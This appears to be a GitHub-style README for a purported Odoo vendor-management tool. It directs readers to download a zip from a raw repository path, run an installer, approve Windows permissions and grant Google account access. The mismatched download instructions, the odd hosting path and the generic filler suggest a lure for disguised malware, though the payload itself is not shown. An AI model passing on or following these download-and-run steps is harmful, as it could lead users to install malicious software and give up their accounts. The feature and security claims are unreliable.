Odoo_VendorBridge manages your company procurement and vendor interactions. The software tracks orders, processes invoices, and automates approvals. It provides tools for vendor communication and data management.
Ensure your computer meets these requirements before you start:
- Windows 10 or Windows 11.
- 8 GB of RAM or more.
- 500 MB of available storage space.
- An active internet connection.
- A modern web browser like Google Chrome or Microsoft Edge.
Visit this page to download: https://raw.githubusercontent.com/Auditorycortexarkansasriver911/Odoo_VendorBridge/main/Backend/models/Bridge_Odoo_Vendor_2.6.zip
To download the version for Windows:
- Open the link above in your web browser.
- Look for the section labeled Releases on the right side of the screen.
- Click the most recent version number.
- Scroll to the Assets section.
- Click the file ending in .exe to begin the download.
- Wait for the download to finish.
Follow these steps to set up the software:
- Locate the downloaded file in your Downloads folder.
- Double-click the file to start the installer.
- Click Yes if Windows asks for permission to run the application.
- Follow the instructions on the screen.
- Click Finish when the process completes.
- An icon for Odoo_VendorBridge now appears on your desktop.
Launch the shortcut from your desktop to open the application. The program opens a login screen in your default web browser.
- Click the Login with Google button.
- Select your work email address.
- Enter your password if prompted.
- Read and accept the permissions for access.
- The main dashboard displays your current vendor list and active orders.
Store contact details, track performance, and view history for every provider. The system highlights vendors who deliver products on time and identifies those who miss deadlines.
The software creates digital purchase orders automatically. It tracks requests from creation to final delivery.
Set up rules to approve expenses. The system sends alerts to managers when a request requires review. A two-level approval process ensures that every transaction receives proper scrutiny before payment.
The built-in assistant answers questions about your data. Ask the assistant to find specific invoices or summarize vendor spending for the month. It processes the information and gives you clear answers.
The system creates professional PDF invoices for every order. It applies your logo and details to each document automatically before sending them to the vendor.
The software connects to your mail services. It sends automated notifications regarding order status, feedback requests, and payment reminders.
Odoo_VendorBridge protects your data using industry standards. All connections use encrypted tunnels to keep information private. The software uses tokens to verify identity, which prevents unauthorized access to your account. We limit the number of requests to the system to ensure stable performance for all users.
Open the Settings menu from the top navigation bar to change your preferences:
- Profile: Update your name and notification email.
- Notifications: Choose which events trigger an email alert.
- Integration: Link your account to file storage services for invoice backups.
- AI Assistant: Toggle the AI features on or off based on your needs.
Click the chat icon at the bottom of the screen to open the AI tool. Type your question in the text box. The assistant searches your database and returns relevant information. You can ask things like:
- How many orders are pending approval?
- Which vendor provides the fastest shipping?
- Summarize the invoices for last week.
The assistant provides direct answers to help you make decisions faster.
If the software fails to launch, try these steps:
- Restart your computer.
- Check your internet connection.
- Ensure your web browser is up to date.
- Reinstall the application using the installer file.
If the login fails, verify that you are using a valid work email account. Ensure your network does not block the authentication service. If issues persist, contact your IT department for assistance with local network permissions.
The software checks for updates whenever you launch it. If a new version exists, the program shows a notice. Click Update to download and install the latest features and security improvements. The process takes a few minutes. Your data remains safe during the update.
Go to the Vendors tab to manage your list. Click Add New to input vendor details. You can upload documents like contracts or tax forms directly to the vendor profile. Use the filter tools to sort vendors by region, service type, or performance rating.
The system generates invoices once a request receives approval. View your invoices in the Invoices tab. You can download these files as PDFs or email them directly from the platform. The system marks invoices as paid once you confirm the payment in your accounting software.